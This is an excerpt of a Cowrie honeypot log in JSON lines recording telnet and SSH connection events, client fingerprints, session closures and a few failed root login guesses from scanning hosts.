{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52418,"dst_ip":"10.17.0.5","dst_port":23,"session":"8df6bc9a0de9","protocol":"telnet","message":"New connection: 192.119.13.58:52418 (10.17.0.5:23) [session: 8df6bc9a0de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:18.566078Z"}
{"eventid":"cowrie.session.closed","duration":36.41069531440735,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:24.577892Z","src_ip":"192.119.13.58","session":"68e75a193477","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53838,"dst_ip":"10.17.0.5","dst_port":23,"session":"2174cb812545","protocol":"telnet","message":"New connection: 192.119.13.58:53838 (10.17.0.5:23) [session: 2174cb812545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:26.478937Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59532,"dst_ip":"10.17.0.5","dst_port":23,"session":"b42138d58ab1","protocol":"telnet","message":"New connection: 192.119.13.58:59532 (10.17.0.5:23) [session: b42138d58ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:27.411986Z"}
{"eventid":"cowrie.session.closed","duration":46.627230644226074,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:29.706412Z","src_ip":"192.119.13.58","session":"651f997943d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.207953214645386,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:31.015848Z","src_ip":"192.119.13.58","session":"3f3881093f1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.15.216","src_port":45706,"dst_ip":"159.203.135.109","dst_port":22,"session":"9141f1df05c8","protocol":"ssh","message":"New connection: 116.110.15.216:45706 (159.203.135.109:22) [session: 9141f1df05c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:33.697392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:33.796490Z","src_ip":"116.110.15.216","session":"9141f1df05c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:34.005164Z","src_ip":"116.110.15.216","session":"9141f1df05c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35776,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d0ec907b236","protocol":"telnet","message":"New connection: 192.119.13.58:35776 (10.17.0.5:23) [session: 7d0ec907b236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:34.425060Z"}
{"eventid":"cowrie.session.connect","src_ip":"106.251.244.178","src_port":43766,"dst_ip":"10.17.0.5","dst_port":22,"session":"58348ffb9222","protocol":"ssh","message":"New connection: 106.251.244.178:43766 (10.17.0.5:22) [session: 58348ffb9222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:36.070735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:36.075486Z","src_ip":"106.251.244.178","session":"58348ffb9222","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:36.269345Z","src_ip":"106.251.244.178","session":"58348ffb9222","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43568,"dst_ip":"10.17.0.5","dst_port":23,"session":"ceb6f2732c48","protocol":"telnet","message":"New connection: 192.119.13.58:43568 (10.17.0.5:23) [session: ceb6f2732c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:36.875766Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:36.944572Z","src_ip":"116.110.15.216","session":"9141f1df05c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sunshine123","message":"login attempt [root/Sunshine123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:37.077280Z","src_ip":"106.251.244.178","session":"58348ffb9222","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:38.273320Z","src_ip":"106.251.244.178","session":"58348ffb9222","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:39.008300Z","src_ip":"116.110.15.216","session":"9141f1df05c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.54767727851868,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:43.385135Z","src_ip":"192.119.13.58","session":"9049f458d5d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37900,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bfcd0f05a9a","protocol":"telnet","message":"New connection: 192.119.13.58:37900 (10.17.0.5:23) [session: 4bfcd0f05a9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:44.116695Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40496,"dst_ip":"10.17.0.5","dst_port":23,"session":"d11eb6881c18","protocol":"telnet","message":"New connection: 192.119.13.58:40496 (10.17.0.5:23) [session: d11eb6881c18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:45.052866Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":44284,"dst_ip":"10.17.0.5","dst_port":22,"session":"813768731254","protocol":"ssh","message":"New connection: 45.66.52.41:44284 (10.17.0.5:22) [session: 813768731254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:45.689222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:45.694798Z","src_ip":"45.66.52.41","session":"813768731254","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:46.021837Z","src_ip":"45.66.52.41","session":"813768731254","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"baptiste","message":"login attempt [root/baptiste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:46.791981Z","src_ip":"45.66.52.41","session":"813768731254","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:47.964944Z","src_ip":"45.66.52.41","session":"813768731254","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.33188438415527,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:48.111680Z","src_ip":"192.119.13.58","session":"1f0d5da07167","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49480,"dst_ip":"10.17.0.5","dst_port":23,"session":"521c99d58d4e","protocol":"telnet","message":"New connection: 192.119.13.58:49480 (10.17.0.5:23) [session: 521c99d58d4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:48.353780Z"}
{"eventid":"cowrie.session.closed","duration":42.72291851043701,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:48.710953Z","src_ip":"192.119.13.58","session":"5e3d38ac6f75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.33296298980713,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:50.350729Z","src_ip":"192.119.13.58","session":"20cf15f7a3a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.33018684387207,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:52.200896Z","src_ip":"192.119.13.58","session":"31cd105900b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.38733983039856,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:52.377783Z","src_ip":"192.119.13.58","session":"258d7de7c7b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36276,"dst_ip":"10.17.0.5","dst_port":23,"session":"7696992997ce","protocol":"telnet","message":"New connection: 192.119.13.58:36276 (10.17.0.5:23) [session: 7696992997ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:53.792785Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37962,"dst_ip":"10.17.0.5","dst_port":23,"session":"71a641b422f2","protocol":"telnet","message":"New connection: 192.119.13.58:37962 (10.17.0.5:23) [session: 71a641b422f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:54.352647Z"}
{"eventid":"cowrie.session.closed","duration":32.09745812416077,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:59.509241Z","src_ip":"192.119.13.58","session":"b42138d58ab1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.95421314239502,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:59.624630Z","src_ip":"192.119.13.58","session":"a9d6e876e73c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55924,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d96bc0dd634","protocol":"telnet","message":"New connection: 192.119.13.58:55924 (10.17.0.5:23) [session: 2d96bc0dd634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:00.320479Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35648,"dst_ip":"10.17.0.5","dst_port":23,"session":"857fafc0931e","protocol":"telnet","message":"New connection: 192.119.13.58:35648 (10.17.0.5:23) [session: 857fafc0931e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:02.728285Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44876,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c9af528e9f4","protocol":"telnet","message":"New connection: 192.119.13.58:44876 (10.17.0.5:23) [session: 6c9af528e9f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:05.905966Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46118,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0c7984c8c0d","protocol":"telnet","message":"New connection: 192.119.13.58:46118 (10.17.0.5:23) [session: d0c7984c8c0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:06.312184Z"}
{"eventid":"cowrie.session.closed","duration":48.68942952156067,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:07.255403Z","src_ip":"192.119.13.58","session":"8df6bc9a0de9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.585203647613525,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:08.064040Z","src_ip":"192.119.13.58","session":"2174cb812545","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.26818060874939,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:08.693151Z","src_ip":"192.119.13.58","session":"7d0ec907b236","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35684,"dst_ip":"10.17.0.5","dst_port":23,"session":"53e193849873","protocol":"telnet","message":"New connection: 192.119.13.58:35684 (10.17.0.5:23) [session: 53e193849873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:11.972913Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47036,"dst_ip":"10.17.0.5","dst_port":23,"session":"6556f35f2b6b","protocol":"telnet","message":"New connection: 192.119.13.58:47036 (10.17.0.5:23) [session: 6556f35f2b6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:15.477025Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37880,"dst_ip":"10.17.0.5","dst_port":23,"session":"00fb23fa92c6","protocol":"telnet","message":"New connection: 192.119.13.58:37880 (10.17.0.5:23) [session: 00fb23fa92c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:21.407618Z"}
{"eventid":"cowrie.session.closed","duration":35.50243043899536,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:23.856166Z","src_ip":"192.119.13.58","session":"521c99d58d4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.10658884048462,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:25.159336Z","src_ip":"192.119.13.58","session":"d11eb6881c18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.788973569869995,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:25.664595Z","src_ip":"192.119.13.58","session":"ceb6f2732c48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.07589054107666,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:28.192475Z","src_ip":"192.119.13.58","session":"4bfcd0f05a9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35796,"dst_ip":"10.17.0.5","dst_port":23,"session":"60bd78441c29","protocol":"telnet","message":"New connection: 192.119.13.58:35796 (10.17.0.5:23) [session: 60bd78441c29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:29.442417Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37744,"dst_ip":"10.17.0.5","dst_port":23,"session":"d21817c28759","protocol":"telnet","message":"New connection: 192.119.13.58:37744 (10.17.0.5:23) [session: d21817c28759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:30.037105Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41642,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bb0cd0f9748","protocol":"telnet","message":"New connection: 192.119.13.58:41642 (10.17.0.5:23) [session: 2bb0cd0f9748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:31.187684Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55300,"dst_ip":"10.17.0.5","dst_port":23,"session":"0126f8df42f3","protocol":"telnet","message":"New connection: 192.119.13.58:55300 (10.17.0.5:23) [session: 0126f8df42f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:35.151654Z"}
{"eventid":"cowrie.session.closed","duration":42.135031938552856,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:36.487557Z","src_ip":"192.119.13.58","session":"71a641b422f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.633421182632446,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:36.953755Z","src_ip":"192.119.13.58","session":"2d96bc0dd634","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.650117874145508,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:37.962111Z","src_ip":"192.119.13.58","session":"d0c7984c8c0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39714,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0d433eee2ee","protocol":"telnet","message":"New connection: 192.119.13.58:39714 (10.17.0.5:23) [session: a0d433eee2ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:38.861381Z"}
{"eventid":"cowrie.session.closed","duration":45.33484625816345,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:39.127538Z","src_ip":"192.119.13.58","session":"7696992997ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43110,"dst_ip":"10.17.0.5","dst_port":23,"session":"777a8fc88601","protocol":"telnet","message":"New connection: 192.119.13.58:43110 (10.17.0.5:23) [session: 777a8fc88601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:39.715471Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49162,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b1a565a998f","protocol":"telnet","message":"New connection: 192.119.13.58:49162 (10.17.0.5:23) [session: 0b1a565a998f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:41.570175Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":33210,"dst_ip":"10.17.0.5","dst_port":22,"session":"90368859c9b6","protocol":"ssh","message":"New connection: 81.9.145.130:33210 (10.17.0.5:22) [session: 90368859c9b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:42.209445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:42.213123Z","src_ip":"81.9.145.130","session":"90368859c9b6","protocol":"ssh"}
